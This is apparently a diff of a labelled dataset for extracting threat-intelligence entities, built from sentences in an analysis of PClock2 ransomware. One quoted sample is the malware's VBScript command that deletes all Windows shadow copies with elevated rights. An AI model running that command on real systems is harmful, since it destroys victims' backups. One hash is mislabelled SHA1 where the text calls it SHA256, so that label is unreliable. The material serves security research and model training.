+{"id":908,"text":"Unlike the original version of PClock, this variant has forgone the simple XOR encryption routine in place of using RC4.","entities":[{"id":46431,"label":"malware","start_offset":31,"end_offset":37}],"relations":[],"Comments":[]}
+{"id":909,"text":"The RC4 key is generated by concatenating the SHA256 value previously generated with the path to the file being encrypted.","entities":[],"relations":[],"Comments":[]}
+{"id":910,"text":"250dd811187959220220574a185ccf669e06c0ee3926773a7cb94750c401812cC:\\Documents and Settings\\Administrator\\Desktop\\Form1.cs  ","entities":[{"id":2878,"label":"SHA1","start_offset":0,"end_offset":76},{"id":46432,"label":"FILEPATH","start_offset":81,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":911,"text":"It should be noted that PClock takes a very long time to encrypt these files.","entities":[{"id":46433,"label":"malware","start_offset":24,"end_offset":30}],"relations":[],"Comments":[]}
+{"id":912,"text":"On a test sandbox, the malware took upwards of 20 minutes to complete encryption, which is less than ideal for an attacker as it gives the victim time to notice the infection and stop it.","entities":[{"id":46434,"label":"TIME","start_offset":36,"end_offset":57}],"relations":[],"Comments":[]}
+{"id":913,"text":"By comparison, the latest version of the CryptoWall malware family takes roughly 1-3 minutes to complete its encryption routine.","entities":[{"id":2888,"label":"malware","start_offset":41,"end_offset":51},{"id":2889,"label":"TIME","start_offset":73,"end_offset":92}],"relations":[],"Comments":[]}
+{"id":914,"text":" It’s also interesting to note that each time PClock2 scans a directory or encrypts a file, it makes an HTTP POST request to the C2 server.","entities":[{"id":46436,"label":"Infrastucture","start_offset":129,"end_offset":138},{"id":46435,"label":"malware","start_offset":46,"end_offset":53}],"relations":[{"id":189,"from_id":46435,"to_id":46436,"type":"beacons-to"}],"Comments":[]}
+{"id":915,"text":" Figure 7. HTTP POST request indicating a folder is being scanned  This resulted in over 1,000 requests being made on a sandbox machine, which contained little data of interest.","entities":[],"relations":[],"Comments":[]}
+{"id":916,"text":" After it finished the encryption routine, PClock2 generates a VBScript file in the following directory:","entities":[{"id":46437,"label":"malware","start_offset":43,"end_offset":50},{"id":46438,"label":"SOFTWARE","start_offset":63,"end_offset":71}],"relations":[],"Comments":[]}
+{"id":917,"text":" This script file contains the following commands, which will delete shadow copies on the Windows operating system.","entities":[{"id":46439,"label":"SOFTWARE","start_offset":90,"end_offset":114}],"relations":[],"Comments":[]}
+{"id":918,"text":" Set UAC = CreateObject(\"Shell.Application\") UAC.ShellExecute \"vssadmin\", \"Delete Shadows \/All \/Quiet\", \"\", \"runas\", 1  On Windows XP, the following dialog box appears to the victim when this script runs, making it fairly apparent that something suspicious is occurring:  Figure 8.","entities":[{"id":46440,"label":"SOFTWARE","start_offset":123,"end_offset":133}],"relations":[],"Comments":[]}
+{"id":919,"text":"Dialog box that appears to victim when VBS attempts to run  ","entities":[],"relations":[],"Comments":[]}
+{"id":920,"text":"After running the clean up script the malware overwrites the ‘\\CData\\C’ registry key with a value of zero, which removes the unique SHA256 key.","entities":[{"id":46441,"label":"REGISTRYKEY","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
+{"id":921,"text":"Finally, the malware changes the victim’s wallpaper and generates a GUI instructing the victim how they can provide payment and retrieve their files.","entities":[],"relations":[],"Comments":[]}
+{"id":922,"text":"This dialogue mimics the more-capable “CryptoLocker” malware family and provides instructions in both English and Spanish.","entities":[{"id":2904,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
+{"id":923,"text":"Figure 9.","entities":[],"relations":[],"Comments":[]}
+{"id":924,"text":"Ransom demand  ","entities":[],"relations":[],"Comments":[]}
+{"id":925,"text":"I originally wished to determine if the new version of PClock, PClock 2, included enough improvements to compete with some of the larger ransomware malware families, such as CryptoWall, TeslaCrypt, or TorrentLocker.","entities":[{"id":2911,"label":"malware","start_offset":174,"end_offset":184},{"id":2913,"label":"malware","start_offset":201,"end_offset":214},{"id":46442,"label":"malware","start_offset":186,"end_offset":196},{"id":46446,"label":"malware","start_offset":63,"end_offset":71},{"id":46447,"label":"malware","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
+{"id":926,"text":"In truth, this version has made a number of improvements, such as adding more file types to target, ignoring certain directories, and using a better encryption routine.","entities":[],"relations":[],"Comments":[]}
+{"id":927,"text":" However, a number of strong issues still plague this malware family, such as the following:  While this version is an improvement, it still lacks many of the features and stealth that are currently present in the larger ransomware families.","entities":[],"relations":[],"Comments":[]}
+{"id":928,"text":"While ransomware is a large problem for users, it’s important to realize that not all malware families are created equal.","entities":[],"relations":[],"Comments":[]}
+{"id":929,"text":"Like most things in life, malware comes in many shapes and forms, from the more elegant and robust solutions, to those that come up lacking.","entities":[],"relations":[],"Comments":[]}
+{"id":930,"text":" All PClock malware family samples are properly classified as malicious by WildFire.","entities":[{"id":44902,"label":"malware","start_offset":5,"end_offset":11},{"id":44903,"label":"identity","start_offset":75,"end_offset":83}],"relations":[],"Comments":[]}
+{"id":931,"text":"AutoFocus users can find more information on samples and indicators related to this attack by viewing the PClock tag.","entities":[{"id":46448,"label":"malware","start_offset":106,"end_offset":112}],"relations":[],"Comments":[]}
\ No newline at end of file